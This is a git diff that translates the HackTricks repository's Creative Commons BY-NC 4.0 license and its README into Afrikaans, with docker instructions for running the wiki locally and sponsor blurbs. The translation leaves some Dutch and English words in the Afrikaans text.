-- **Considerations for the public:** By using one of our public licenses, a licensor grants the public permission to use the licensed material under specified terms and conditions. If the licensor’s permission is not necessary for any reason–for example, because of any applicable exception or limitation to copyright–then that use is not regulated by the license. Our licenses grant only permissions under copyright and certain other rights that a licensor has authority to grant. Use of the licensed material may still be restricted for other reasons, including because others have copyright or other rights in the material. A licensor may make special requests, such as asking that all changes be marked or described. Although not required by our licenses, you are encouraged to respect those requests where reasonable. [More considerations for the public](http://wiki.creativecommons.org/Considerations_for_licensors_and_licensees#Considerations_for_licensees).
+- **Oorwegings vir die publiek:** Deur een van ons publieke lisensies te gebruik, gee 'n lisensiegever die publiek toestemming om die gelisensieerde materiaal onder gespesifiseerde terme en voorwaardes te gebruik. As die lisensiegever se toestemming om enige rede nie nodig is nie – byvoorbeeld, as gevolg van enige toepaslike uitsondering of beperking van kopiereg – dan word daardie gebruik nie deur die lisensie gereguleer nie. Ons lisensies gee slegs toestemming onder kopiereg en sekere ander regte wat 'n lisensiegever die gesag het om te verleen. Gebruik van die gelisensieerde materiaal kan steeds vir ander redes beperk wees, insluitend omdat ander kopiereg of ander regte in die materiaal het. 'n Lisensiegever kan spesiale versoeke maak, soos om te vra dat alle veranderinge gemerk of beskryf word. Alhoewel nie vereis deur ons lisensies nie, word jy aangemoedig om daardie versoeke te respekteer waar dit redelik is. [Meer oorwegings vir die publiek](http://wiki.creativecommons.org/Considerations_for_licensors_and_licensees#Considerations_for_licensees).
-# Creative Commons Attribution-NonCommercial 4.0 International Public License
+# Creative Commons Attribution-NonCommercial 4.0 International Publieke Lisensie
-By exercising the Licensed Rights (defined below), You accept and agree to be bound by the terms and conditions of this Creative Commons Attribution-NonCommercial 4.0 International Public License ("Public License"). To the extent this Public License may be interpreted as a contract, You are granted the Licensed Rights in consideration of Your acceptance of these terms and conditions, and the Licensor grants You such rights in consideration of benefits the Licensor receives from making the Licensed Material available under these terms and conditions.
+Deur die Gelisensieerde Regte (hieronder gedefinieer) uit te oefen, aanvaar en stem jy in om gebonde te wees aan die terme en voorwaardes van hierdie Creative Commons Attribution-NonCommercial 4.0 International Publieke Lisensie ("Publieke Lisensie"). Voor zover hierdie Publieke Lisensie as 'n kontrak geïnterpreteer kan word, word jy die Gelisensieerde Regte toegestaan in ruil vir jou aanvaarding van hierdie terme en voorwaardes, en die Lisensiegever verleen jou sodanige regte in ruil vir die voordele wat die Lisensiegever ontvang deur die Gelisensieerde Materiaal beskikbaar te stel onder hierdie terme en voorwaardes.
-## Section 1 – Definitions.
+## Afdeling 1 – Definisies.
-a. **Adapted Material** means material subject to Copyright and Similar Rights that is derived from or based upon the Licensed Material and in which the Licensed Material is translated, altered, arranged, transformed, or otherwise modified in a manner requiring permission under the Copyright and Similar Rights held by the Licensor. For purposes of this Public License, where the Licensed Material is a musical work, performance, or sound recording, Adapted Material is always produced where the Licensed Material is synched in timed relation with a moving image.
+a. **Aangepaste Materiaal** beteken materiaal wat onder Kopiereg en Soortgelyke Regte val wat afgelei is van of gebaseer is op die Gelisensieerde Materiaal en waarin die Gelisensieerde Materiaal vertaal, verander, gereël, getransformeer, of andersins gewysig is op 'n manier wat toestemming vereis onder die Kopiereg en Soortgelyke Regte wat deur die Lisensiegever gehou word. Vir doeleindes van hierdie Publieke Lisensie, waar die Gelisensieerde Materiaal 'n musikale werk, uitvoering, of klankopname is, word Aangepaste Materiaal altyd geproduseer waar die Gelisensieerde Materiaal gesinkroniseer is in tydsverhouding met 'n bewegende beeld.
-b. **Adapter's License** means the license You apply to Your Copyright and Similar Rights in Your contributions to Adapted Material in accordance with the terms and conditions of this Public License.
+b. **Adapter se Lisensie** beteken die lisensie wat jy toepas op jou Kopiereg en Soortgelyke Regte in jou bydraes tot Aangepaste Materiaal in ooreenstemming met die terme en voorwaardes van hierdie Publieke Lisensie.
-c. **Copyright and Similar Rights** means copyright and/or similar rights closely related to copyright including, without limitation, performance, broadcast, sound recording, and Sui Generis Database Rights, without regard to how the rights are labeled or categorized. For purposes of this Public License, the rights specified in Section 2(b)(1)-(2) are not Copyright and Similar Rights.
+c. **Kopiereg en Soortgelyke Regte** beteken kopiereg en/of soortgelyke regte wat nou verwant is aan kopiereg insluitend, sonder beperking, uitvoering, uitsending, klankopname, en Sui Generis Databasisregte, ongeag hoe die regte geëtiketteer of gekategoriseer word. Vir doeleindes van hierdie Publieke Lisensie, is die regte gespesifiseer in Afdeling 2(b)(1)-(2) nie Kopiereg en Soortgelyke Regte nie.
-d. **Effective Technological Measures** means those measures that, in the absence of proper authority, may not be circumvented under laws fulfilling obligations under Article 11 of the WIPO Copyright Treaty adopted on December 20, 1996, and/or similar international agreements.
+d. **Effektiewe Tegnologiese Maatreëls** beteken daardie maatreëls wat, in die afwesigheid van behoorlike gesag, nie omseil kan word onder wette wat verpligtinge onder Artikel 11 van die WIPO Kopiereg Verdrag wat op 20 Desember 1996 aangeneem is, en/of soortgelyke internasionale ooreenkomste nakom nie.
-e. **Exceptions and Limitations** means fair use, fair dealing, and/or any other exception or limitation to Copyright and Similar Rights that applies to Your use of the Licensed Material.
+e. **Uitsonderings en Beperkings** beteken billike gebruik, billike hantering, en/of enige ander uitsondering of beperking op Kopiereg en Soortgelyke Regte wat van toepassing is op jou gebruik van die Gelisensieerde Materiaal.
-f. **Licensed Material** means the artistic or literary work, database, or other material to which the Licensor applied this Public License.
+f. **Gelisensieerde Materiaal** beteken die artistieke of literêre werk, databasis, of ander materiaal waaraan die Lisensiegever hierdie Publieke Lisensie toegepas het.
-g. **Licensed Rights** means the rights granted to You subject to the terms and conditions of this Public License, which are limited to all Copyright and Similar Rights that apply to Your use of the Licensed Material and that the Licensor has authority to license.
+g. **Gelisensieerde Regte** beteken die regte wat aan jou toegestaan word onderhewig aan die terme en voorwaardes van hierdie Publieke Lisensie, wat beperk is tot alle Kopiereg en Soortgelyke Regte wat van toepassing is op jou gebruik van die Gelisensieerde Materiaal en wat die Lisensiegever die gesag het om te lisensieer.
-h. **Licensor** means the individual(s) or entity(ies) granting rights under this Public License.
+h. **Lisensiegever** beteken die individu(e) of entiteit(e) wat regte onder hierdie Publieke Lisensie verleen.
-i. **NonCommercial** means not primarily intended for or directed towards commercial advantage or monetary compensation. For purposes of this Public License, the exchange of the Licensed Material for other material subject to Copyright and Similar Rights by digital file-sharing or similar means is NonCommercial provided there is no payment of monetary compensation in connection with the exchange.
+i. **Nie-kommersieel** beteken nie hoofsaaklik bedoel vir of gerig op kommersiële voordeel of monetêre vergoeding nie. Vir doeleindes van hierdie Publieke Lisensie, is die uitruil van die Gelisensieerde Materiaal vir ander materiaal wat onder Kopiereg en Soortgelyke Regte val deur digitale lêerdeling of soortgelyke middele Nie-kommersieel mits daar geen betaling van monetêre vergoeding in verband met die uitruil is nie.
-j. **Share** means to provide material to the public by any means or process that requires permission under the Licensed Rights, such as reproduction, public display, public performance, distribution, dissemination, communication, or importation, and to make material available to the public including in ways that members of the public may access the material from a place and at a time individually chosen by them.
+j. **Deel** beteken om materiaal aan die publiek te verskaf deur enige middele of proses wat toestemming onder die Gelisensieerde Regte vereis, soos reproduksie, openbare vertoning, openbare uitvoering, verspreiding, disseminasie, kommunikasie, of invoer, en om materiaal beskikbaar te stel aan die publiek insluitend op maniere wat lede van die publiek die materiaal kan toegang vanaf 'n plek en op 'n tyd wat individueel deur hulle gekies is.
-k. **Sui Generis Database Rights** means rights other than copyright resulting from Directive 96/9/EC of the European Parliament and of the Council of 11 March 1996 on the legal protection of databases, as amended and/or succeeded, as well as other essentially equivalent rights anywhere in the world.
+k. **Sui Generis Databasisregte** beteken regte anders as kopiereg wat voortspruit uit Richtlijn 96/9/EG van die Europese Parlement en die Raad van 11 Maart 1996 oor die reglike beskerming van databasis, soos gewysig en/of opgevolg, sowel as ander essensieel ekwivalente regte enige plek in die wêreld.
-l. **You** means the individual or entity exercising the Licensed Rights under this Public License. Your has a corresponding meaning.
+l. **Jy** beteken die individu of entiteit wat die Gelisensieerde Regte onder hierdie Publieke Lisensie uitoefen. Jou het 'n ooreenstemmende betekenis.
-## Section 2 – Scope.
+## Afdeling 2 – Bereik.
-a. **_License grant._**
+a. **_Lisensie toekenning._**
-1. Subject to the terms and conditions of this Public License, the Licensor hereby grants You a worldwide, royalty-free, non-sublicensable, non-exclusive, irrevocable license to exercise the Licensed Rights in the Licensed Material to:
+1. Onderhewig aan die terme en voorwaardes van hierdie Publieke Lisensie, verleen die Lisensiegever hiermee aan jou 'n wêreldwye, royalty-vrye, nie-sublisensieerbare, nie-eksklusiewe, onherroepelike lisensie om die Gelisensieerde Regte in die Gelisensieerde Materiaal uit te oefen om:
-A. reproduce and Share the Licensed Material, in whole or in part, for NonCommercial purposes only; and
+A. die Gelisensieerde Materiaal, in geheel of gedeeltelik, vir Nie-kommersiële doeleindes te reproduseer en te Deel; en
-B. produce, reproduce, and Share Adapted Material for NonCommercial purposes only.
+B. Aangepaste Materiaal vir Nie-kommersiële doeleindes te produseer, reproduseer, en te Deel.
-2. **Exceptions and Limitations.** For the avoidance of doubt, where Exceptions and Limitations apply to Your use, this Public License does not apply, and You do not need to comply with its terms and conditions.
-3. **Term.** The term of this Public License is specified in Section 6(a).
+2. **Uitsonderings en Beperkings.** Ter voorkoming van twyfel, waar Uitsonderings en Beperkings van toepassing is op jou gebruik, is hierdie Publieke Lisensie nie van toepassing nie, en jy hoef nie aan die terme en voorwaardes daarvan te voldoen nie.
+3. **Termyn.** Die termyn van hierdie Publieke Lisensie is gespesifiseer in Afdeling 6(a).
-4. **Media and formats; technical modifications allowed.** The Licensor authorizes You to exercise the Licensed Rights in all media and formats whether now known or hereafter created, and to make technical modifications necessary to do so. The Licensor waives and/or agrees not to assert any right or authority to forbid You from making technical modifications necessary to exercise the Licensed Rights, including technical modifications necessary to circumvent Effective Technological Measures. For purposes of this Public License, simply making modifications authorized by this Section 2(a)(4) never produces Adapted Material.
-5. **Downstream recipients.**
+4. **Media en formate; tegniese wysigings toegelaat.** Die Lisensiegever mag jou toelaat om die Gelisensieerde Regte in alle media en formate uit te oefen, hetsy nou bekend of hierna geskep, en om tegniese wysigings te maak wat nodig is om dit te doen. Die Lisensiegever waiving en/of stem nie in om enige reg of gesag te beweer om jou te verbied om tegniese wysigings te maak wat nodig is om die Gelisensieerde Regte uit te oefen nie, insluitend tegniese wysigings wat nodig is om Effektiewe Tegnologiese Maatreëls te omseil. Vir doeleindes van hierdie Publieke Lisensie, sal die eenvoudige maak van wysigings wat deur hierdie Afdeling 2(a)(4) gemagtig is, nooit Aangepaste Materiaal produseer nie.
+5. **Afwaartse ontvangers.**
-A. **Offer from the Licensor – Licensed Material.** Every recipient of the Licensed Material automatically receives an offer from the Licensor to exercise the Licensed Rights under the terms and conditions of this Public License.
+A. **Aanbod van die Lisensiegever – Gelisensieerde Materiaal.** Elke ontvanger van die Gelisensieerde Materiaal ontvang outomaties 'n aanbod van die Lisensiegever om die Gelisensieerde Regte onder die terme en voorwaardes van hierdie Publieke Lisensie uit te oefen.
-B. **No downstream restrictions.** You may not offer or impose any additional or different terms or conditions on, or apply any Effective Technological Measures to, the Licensed Material if doing so restricts exercise of the Licensed Rights by any recipient of the Licensed Material.
+B. **Geen afwaartse beperkings.** Jy mag nie enige addisionele of verskillende terme of voorwaardes aanbied of afdwing nie, of enige Effektiewe Tegnologiese Maatreëls op die Gelisensieerde Materiaal toepas as dit die uitoefening van die Gelisensieerde Regte deur enige ontvanger van die Gelisensieerde Materiaal beperk.
-6. **No endorsement.** Nothing in this Public License constitutes or may be construed as permission to assert or imply that You are, or that Your use of the Licensed Material is, connected with, or sponsored, endorsed, or granted official status by, the Licensor or others designated to receive attribution as provided in Section 3(a)(1)(A)(i).
+6. **Geen goedkeuring.** Niks in hierdie Publieke Lisensie vorm of kan geïnterpreteer word as toestemming om te beweer of te impliseer dat jy, of dat jou gebruik van die Gelisensieerde Materiaal, verbind is met, of gesponsord, goedgekeur, of amptelike status verleen is deur, die Lisensiegever of ander wat aangewys is om erkenning te ontvang soos voorsien in Afdeling 3(a)(1)(A)(i).
-b. **_Other rights._**
+b. **_Ander regte._**
-1. Moral rights, such as the right of integrity, are not licensed under this Public License, nor are publicity, privacy, and/or other similar personality rights; however, to the extent possible, the Licensor waives and/or agrees not to assert any such rights held by the Licensor to the limited extent necessary to allow You to exercise the Licensed Rights, but not otherwise.
+1. Morele regte, soos die reg op integriteit, is nie onder hierdie Publieke Lisensie gelisensieer nie, en ook nie publisiteit, privaatheid, en/of ander soortgelyke persoonlikheidsregte nie; egter, voor zover moontlik, waiving die Lisensiegever en/of stem nie in om enige sodanige regte wat deur die Lisensiegever gehou word te beweer nie tot die beperkte mate wat nodig is om jou toe te laat om die Gelisensieerde Regte uit te oefen, maar nie andersins nie.
-2. Patent and trademark rights are not licensed under this Public License.
+2. Patent- en handelsmerkregte is nie onder hierdie Publieke Lisensie gelisensieer nie.
-3. To the extent possible, the Licensor waives any right to collect royalties from You for the exercise of the Licensed Rights, whether directly or through a collecting society under any voluntary or waivable statutory or compulsory licensing scheme. In all other cases the Licensor expressly reserves any right to collect such royalties, including when the Licensed Material is used other than for NonCommercial purposes.
+3. Voor zover moontlik, waiving die Lisensiegever enige reg om royalties van jou te versamel vir die uitoefening van die Gelisensieerde Regte, hetsy direk of deur 'n versamelingsgenootskap onder enige vrywillige of afstandbare statutêre of verpligte lisensiëringskema. In alle ander gevalle behou die Lisensiegever uitdruklik enige reg om sodanige royalties te versamel, insluitend wanneer die Gelisensieerde Materiaal gebruik word anders as vir Nie-kommersiële doeleindes.
-## Section 3 – License Conditions.
+## Afdeling 3 – Lisensie Voorwaardes.
-Your exercise of the Licensed Rights is expressly made subject to the following conditions.
+Jou uitoefening van die Gelisensieerde Regte is uitdruklik onderhewig aan die volgende voorwaardes.
-a. **_Attribution._**
+a. **_Erkenning._**
-1. If You Share the Licensed Material (including in modified form), You must:
+1. As jy die Gelisensieerde Materiaal Deel (insluitend in gewysigde vorm), moet jy:
-A. retain the following if it is supplied by the Licensor with the Licensed Material:
+A. die volgende behou as dit deur die Lisensiegever saam met die Gelisensieerde Materiaal verskaf word:
-i. identification of the creator(s) of the Licensed Material and any others designated to receive attribution, in any reasonable manner requested by the Licensor (including by pseudonym if designated);
+i. identifikasie van die skepper(s) van die Gelisensieerde Materiaal en enige ander wat aangewys is om erkenning te ontvang, op enige redelike manier wat deur die Lisensiegever versoek word (insluitend deur 'n pseudoniem as dit aangewys is);
-ii. a copyright notice;
+ii. 'n kopiereg kennisgewing;
-iii. a notice that refers to this Public License;
+iii. 'n kennisgewing wat na hierdie Publieke Lisensie verwys;
-iv. a notice that refers to the disclaimer of warranties;
+iv. 'n kennisgewing wat na die ontkenning van waarborge verwys;
-v. a URI or hyperlink to the Licensed Material to the extent reasonably practicable;
+v. 'n URI of hiperskakel na die Gelisensieerde Materiaal voor zover redelik prakties;
-B. indicate if You modified the Licensed Material and retain an indication of any previous modifications; and
+B. aandui of jy die Gelisensieerde Materiaal gewysig het en 'n aanduiding van enige vorige wysigings behou; en
-C. indicate the Licensed Material is licensed under this Public License, and include the text of, or the URI or hyperlink to, this Public License.
+C. aandui dat die Gelisensieerde Materiaal onder hierdie Publieke Lisensie gelisensieer is, en die teks van, of die URI of hiperskakel na, hierdie Publieke Lisensie insluit.
-2. You may satisfy the conditions in Section 3(a)(1) in any reasonable manner based on the medium, means, and context in which You Share the Licensed Material. For example, it may be reasonable to satisfy the conditions by providing a URI or hyperlink to a resource that includes the required information.
+2. Jy kan die voorwaardes in Afdeling 3(a)(1) op enige redelike manier nakom gebaseer op die medium, middele, en konteks waarin jy die Gelisensieerde Materiaal Deel. Byvoorbeeld, dit mag redelik wees om die voorwaardes na te kom deur 'n URI of hiperskakel na 'n hulpbron te verskaf wat die vereiste inligting insluit.
-3. If requested by the Licensor, You must remove any of the information required by Section 3(a)(1)(A) to the extent reasonably practicable.
+3. As deur die Lisensiegever versoek, moet jy enige van die inligting wat deur Afdeling 3(a)(1)(A) vereis word, verwyder voor zover redelik prakties.
-4. If You Share Adapted Material You produce, the Adapter's License You apply must not prevent recipients of the Adapted Material from complying with this Public License.
+4. As jy Aangepaste Materiaal Deel wat jy produseer, moet die Adapter se Lisensie wat jy toepas nie voorkom dat ontvangers van die Aangepaste Materiaal voldoen aan hierdie Publieke Lisensie nie.
-## Section 4 – Sui Generis Database Rights.
+## Afdeling 4 – Sui Generis Databasisregte.
-Where the Licensed Rights include Sui Generis Database Rights that apply to Your use of the Licensed Material:
+Waar die Gelisensieerde Regte Sui Generis Databasisregte insluit wat van toepassing is op jou gebruik van die Gelisensieerde Materiaal:
-a. for the avoidance of doubt, Section 2(a)(1) grants You the right to extract, reuse, reproduce, and Share all or a substantial portion of the contents of the database for NonCommercial purposes only;
+a. ter voorkoming van twyfel, Afdeling 2(a)(1) verleen jou die reg om te onttrek, hergebruik, reproduseer, en Deel al of 'n substansiële gedeelte van die inhoud van die databasis vir Nie-kommersiële doeleindes slegs;
-b. if You include all or a substantial portion of the database contents in a database in which You have Sui Generis Database Rights, then the database in which You have Sui Generis Database Rights (but not its individual contents) is Adapted Material; and
+b. as jy al of 'n substansiële gedeelte van die databasisinhoud in 'n databasis insluit waarin jy Sui Generis Databasisregte het, dan is die databasis waarin jy Sui Generis Databasisregte het (maar nie sy individuele inhoud nie) Aangepaste Materiaal; en
-c. You must comply with the conditions in Section 3(a) if You Share all or a substantial portion of the contents of the database.
+c. jy moet voldoen aan die voorwaardes in Afdeling 3(a) as jy al of 'n substansiële gedeelte van die inhoud van die databasis Deel.
-For the avoidance of doubt, this Section 4 supplements and does not replace Your obligations under this Public License where the Licensed Rights include other Copyright and Similar Rights.
+Ter voorkoming van twyfel, hierdie Afdeling 4 aanvul en vervang nie jou verpligtinge onder hierdie Publieke Lisensie waar die Gelisensieerde Regte ander Kopiereg en Soortgelyke Regte insluit nie.
-## Section 5 – Disclaimer of Warranties and Limitation of Liability.
+## Afdeling 5 – Ontkenning van Waarborge en Beperking van Aanspreeklikheid.
-a. **Unless otherwise separately undertaken by the Licensor, to the extent possible, the Licensor offers the Licensed Material as-is and as-available, and makes no representations or warranties of any kind concerning the Licensed Material, whether express, implied, statutory, or other. This includes, without limitation, warranties of title, merchantability, fitness for a particular purpose, non-infringement, absence of latent or other defects, accuracy, or the presence or absence of errors, whether or not known or discoverable. Where disclaimers of warranties are not allowed in full or in part, this disclaimer may not apply to You.**
+a. **Tenzij andersins apart onderneem deur die Lisensiegever, voor zover moontlik, bied die Lisensiegever die Gelisensieerde Materiaal soos dit is en soos beskikbaar, en maak geen verteenwoordigings of waarborge van enige aard rakende die Gelisensieerde Materiaal nie, hetsy uitdruklik, implisiet, statutêr, of andersins. Dit sluit, sonder beperking, waarborge van titel, handelsbaarheid, geskiktheid vir 'n spesifieke doel, nie-inbreuk, afwesigheid van latente of ander gebreke, akkuraatheid, of die teenwoordigheid of afwesigheid van foute in, hetsy bekend of ontdekbaar. Waar ontkennings van waarborge nie in geheel of gedeeltelik toegelaat word nie, mag hierdie ontkenning nie op jou van toepassing wees nie.**
-b. **To the extent possible, in no event will the Licensor be liable to You on any legal theory (including, without limitation, negligence) or otherwise for any direct, special, indirect, incidental, consequential, punitive, exemplary, or other losses, costs, expenses, or damages arising out of this Public License or use of the Licensed Material, even if the Licensor has been advised of the possibility of such losses, costs, expenses, or damages. Where a limitation of liability is not allowed in full or in part, this limitation may not apply to You.**
+b. **Voor zover moontlik, in geen geval sal die Lisensiegever aanspreeklik wees teenoor jou op enige regstheorie (insluitend, sonder beperking, nalatigheid) of andersins vir enige direkte, spesiale, indirekte, insidentele, gevolglike, straf-, voorbeeldige, of ander verliese, koste, uitgawes, of skade wat voortspruit uit hierdie Publieke Lisensie of gebruik van die Gelisensieerde Materiaal, selfs al is die Lisensiegever in kennis gestel van die moontlikheid van sodanige verliese, koste, uitgawes, of skade. Waar 'n beperking van aanspreeklikheid nie in geheel of gedeeltelik toegelaat word nie, mag hierdie beperking nie op jou van toepassing wees nie.**
-c. The disclaimer of warranties and limitation of liability provided above shall be interpreted in a manner that, to the extent possible, most closely approximates an absolute disclaimer and waiver of all liability.
+c. Die ontkenning van waarborge en beperking van aanspreeklikheid hierbo verskaf sal geïnterpreteer word op 'n manier wat, voor zover moontlik, die naaste benadering tot 'n absolute ontkenning en afstanddoening van alle aanspreeklikheid is.
-## Section 6 – Term and Termination.
+## Afdeling 6 – Termyn en Beëindiging.
-a. This Public License applies for the term of the Copyright and Similar Rights licensed here. However, if You fail to comply with this Public License, then Your rights under this Public License terminate automatically.
+a. Hierdie Publieke Lisensie is van toepassing vir die termyn van die Kopiereg en Soortgelyke Regte wat hier gelisensieer is. As jy egter nie aan hierdie Publieke Lisensie voldoen nie, dan verval jou regte onder hierdie Publieke Lisensie outomaties.
-b. Where Your right to use the Licensed Material has terminated under Section 6(a), it reinstates:
+b. Waar jou reg om die Gelisensieerde Materiaal te gebruik onder Afdeling 6(a) beëindig is, word dit heringestel:
-1. automatically as of the date the violation is cured, provided it is cured within 30 days of Your discovery of the violation; or
+1. outomaties vanaf die datum waarop die oortreding reggestel word, mits dit reggestel word binne 30 dae van jou ontdekking van die oortreding; of
-2. upon express reinstatement by the Licensor.
+2. upon uitdruklike herinstelling deur die Lisensiegever.
-For the avoidance of doubt, this Section 6(b) does not affect any right the Licensor may have to seek remedies for Your violations of this Public License.
+Ter voorkoming van twyfel, hierdie Afdeling 6(b) beïnvloed nie enige reg wat die Lisensiegever mag hê om remedies te soek vir jou oortredings van hierdie Publieke Lisensie nie.
-c. For the avoidance of doubt, the Licensor may also offer the Licensed Material under separate terms or conditions or stop distributing the Licensed Material at any time; however, doing so will not terminate this Public License.
+c. Ter voorkoming van twyfel, die Lisensiegever mag ook die Gelisensieerde Materiaal onder aparte terme of voorwaardes aanbied of die verspreiding van die Gelisensieerde Materiaal te eniger tyd stop; egter, om dit te doen sal nie hierdie Publieke Lisensie beëindig nie.
-d. Sections 1, 5, 6, 7, and 8 survive termination of this Public License.
+d. Afdelings 1, 5, 6, 7, en 8 oorleef die beëindiging van hierdie Publieke Lisensie.
-## Section 7 – Other Terms and Conditions.
+## Afdeling 7 – Ander Terme en Voorwaardes.
-a. The Licensor shall not be bound by any additional or different terms or conditions communicated by You unless expressly agreed.
+a. Die Lisensiegever sal nie gebonde wees aan enige addisionele of verskillende terme of voorwaardes wat deur jou gekommunikeer word nie, tensy uitdruklik ooreengekom.
-b. Any arrangements, understandings, or agreements regarding the Licensed Material not stated herein are separate from and independent of the terms and conditions of this Public License.
+b. Enige reëlings, verstaan, of ooreenkomste rakende die Gelisensieerde Materiaal wat hier nie vermeld word nie, is apart van en onafhanklik van die terme en voorwaardes van hierdie Publieke Lisensie.
-## Section 8 – Interpretation.
+## Afdeling 8 – Interpretasie.
-a. For the avoidance of doubt, this Public License does not, and shall not be interpreted to, reduce, limit, restrict, or impose conditions on any use of the Licensed Material that could lawfully be made without permission under this Public License.
+a. Ter voorkoming van twyfel, hierdie Publieke Lisensie verminder nie, beperk nie, of stel nie voorwaardes op enige gebruik van die Gelisensieerde Materiaal wat wettiglik gemaak kan word sonder toestemming onder hierdie Publieke Lisensie nie.
-b. To the extent possible, if any provision of this Public License is deemed unenforceable, it shall be automatically reformed to the minimum extent necessary to make it enforceable. If the provision cannot be reformed, it shall be severed from this Public License without affecting the enforceability of the remaining terms and conditions.
+b. Voor zover moontlik, as enige bepaling van hierdie Publieke Lisensie as onuitvoerbaar beskou word, sal dit outomaties hervorm word tot die minimum mate wat nodig is om dit uitvoerbaar te maak. As die bepaling nie hervorm kan word nie, sal dit geskeurde word van hierdie Publieke Lisensie sonder om die uitvoerbaarheid van die oorblywende terme en voorwaardes te beïnvloed.
-c. No term or condition of this Public License will be waived and no failure to comply consented to unless expressly agreed to by the Licensor.
-
-d. Nothing in this Public License constitutes or may be interpreted as a limitation upon, or waiver of, any privileges and immunities that apply to the Licensor or You, including from the legal processes of any jurisdiction or authority.
+c. Geen term of voorwaarde van hierdie Publieke Lisensie sal afstand gedoen word nie en geen versuim om te voldoen sal goedgekeur word tensy uitdruklik ooreengekom deur die Lisensiegever.
+d. Niks in hierdie Publieke Lisensie vorm of kan geïnterpreteer word as 'n beperking op, of afstanddoening van, enige voorregte en immuniteite wat van toepassing is op die Lisensiegever of jou, insluitend van die regstelsels van enige jurisdiksie of gesag.
```
Creative Commons is not a party to its public licenses. Notwithstanding, Creative Commons may elect to apply one of its public licenses to material it publishes and in those instances will be considered the “Licensor.” Except for the limited purpose of indicating that material is shared under a Creative Commons public license or as otherwise permitted by the Creative Commons policies published at [creativecommons.org/policies](http://creativecommons.org/policies), Creative Commons does not authorize the use of the trademark “Creative Commons” or any other trademark or logo of Creative Commons without its prior written consent including, without limitation, in connection with any unauthorized modifications to any of its public licenses or any other arrangements, understandings, or agreements concerning use of licensed material. For the avoidance of doubt, this paragraph does not form part of the public licenses.
Creative Commons may be contacted at [creativecommons.org](http://creativecommons.org/).
```
-
{{#include ./banners/hacktricks-training.md}}
-
diff --git a/src/README.md b/src/README.md
index d48cc83f87d..2c598cc8030 100644
--- a/src/README.md
+++ b/src/README.md
@@ -1,144 +1,182 @@
# HackTricks
-Reading time: {{ #reading_time }}
-
-_Hacktricks logos & motion design by_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
-
-> [!TIP]
-> **Welcome to the wiki where you will find each hacking trick/technique/whatever I have learnt from CTFs, real life apps, reading researches, and news.**
+_Hacktricks-logo's en motion design deur_ [_@ppieranacho_](https://www.instagram.com/ppieranacho/)_._
+
+### Run HackTricks Plaaslik
+```bash
+# Download latest version of hacktricks
+git clone https://github.com/HackTricks-wiki/hacktricks
+
+# Select the language you want to use
+export HT_LANG="master" # Leave master for English
+# "af" for Afrikaans
+# "de" for German
+# "el" for Greek
+# "es" for Spanish
+# "fr" for French
+# "hi" for HindiP
+# "it" for Italian
+# "ja" for Japanese
+# "ko" for Korean
+# "pl" for Polish
+# "pt" for Portuguese
+# "sr" for Serbian
+# "sw" for Swahili
+# "tr" for Turkish
+# "uk" for Ukrainian
+# "zh" for Chinese
+
+# Run the docker container indicating the path to the hacktricks folder
+docker run -d --rm --platform linux/amd64 -p 3337:3000 --name hacktricks -v $(pwd)/hacktricks:/app ghcr.io/hacktricks-wiki/hacktricks-cloud/translator-image bash -c "mkdir -p ~/.ssh && ssh-keyscan -H github.com >> ~/.ssh/known_hosts && cd /app && git config --global --add safe.directory /app && git checkout $HT_LANG && git pull && MDBOOK_PREPROCESSOR__HACKTRICKS__ENV=dev mdbook serve --hostname 0.0.0.0"
+```
+Jou plaaslike kopie van HackTricks sal **beskikbaar wees by [http://localhost:3337](http://localhost:3337)** na <5 minutes (dit moet die boek bou, wees geduldig).
+
+Alternatiewelik, indien jy Docker Compose het, kan jy eenvoudig die volgende vanaf die repo-hoofgids uitvoer:
+```bash
+docker compose up
+```
+Dit gebruik die gebundelde `docker-compose.yml` om die branch wat tans op die host uitgecheck is, by [http://localhost:3337](http://localhost:3337) met live reload te bedien. Om tale te verander wanneer Compose gebruik word, check die verlangde taalbranch uit voordat jy die diens begin.
+
+## HackTricks-vennote
-To get started follow this page where you will find the **typical flow** that **you should follow when pentesting** one or more **machines:**
-
-{{#ref}}
-generic-methodologies-and-resources/pentesting-methodology.md
-{{#endref}}
+---
-## Corporate Sponsors
+## HackTricks-vriende
### [STM Cyber](https://www.stmcyber.com)
-
+
-[**STM Cyber**](https://www.stmcyber.com) is a great cybersecurity company whose slogan is **HACK THE UNHACKABLE**. They perform their own research and develop their own hacking tools to **offer several valuable cybersecurity services** like pentesting, Red teams and training.
+STM Cyber verskaf penetration testing, security audits, exploit- en navorsingswerk, tools en security-awareness-dienste. Die webwerf beskryf ’n span penetration testers, programmeerders en security researchers met meer as ’n dekade se ervaring.[[1]](#references)
-You can check their **blog** in [**https://blog.stmcyber.com**](https://blog.stmcyber.com)
+Jy kan hul **blog** by [**https://blog.stmcyber.com**](https://blog.stmcyber.com) besoek.
-**STM Cyber** also support cybersecurity open source projects like HackTricks :)
+**STM Cyber** ondersteun ook cybersecurity open source-projekte soos HackTricks :)
---
-### [RootedCON](https://www.rootedcon.com/)
+### [Intigriti](https://www.intigriti.com)
-
+
-[**RootedCON**](https://www.rootedcon.com) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline.
+Intigriti is ’n crowdsourced security-verskaffer wat bug bounty- en penetration-testing-dienste deur ’n wêreldwye researcher-gemeenskap aanbied. Sy platform kombineer deurlopende bug bounty-dekking met on-demand PTaaS en bestuurde vulnerability disclosure-programme.[[2]](#references)
-{% embed url="https://www.rootedcon.com/" %}
+**Bug bounty-wenk**: Sluit by Intigriti aan deur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) en verken sy bug bounty-programme.
---
-### [Intigriti](https://www.intigriti.com)
-
-
+### [Modern Security – AI & Application Security Training Platform](https://modernsecurity.io/)
-**Intigriti** is the **Europe's #1** ethical hacking and **bug bounty platform.**
+
-**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!
+Modern Security bied self-paced, praktiese AI security-training vir security engineers, AppSec-professionele persone en developers. Sy AI Security Certification dek LLM- en agent-grondbeginsels, RAG en vector databases, threat modeling, prompt-injection- en MCP-attacks, asook defensive architecture.[[3]](#references)
-{% embed url="https://go.intigriti.com/hacktricks" %}
+👉 Meer besonderhede oor die AI Security-kursus:
+https://www.modernsecurity.io/courses/ai-security-certification
---
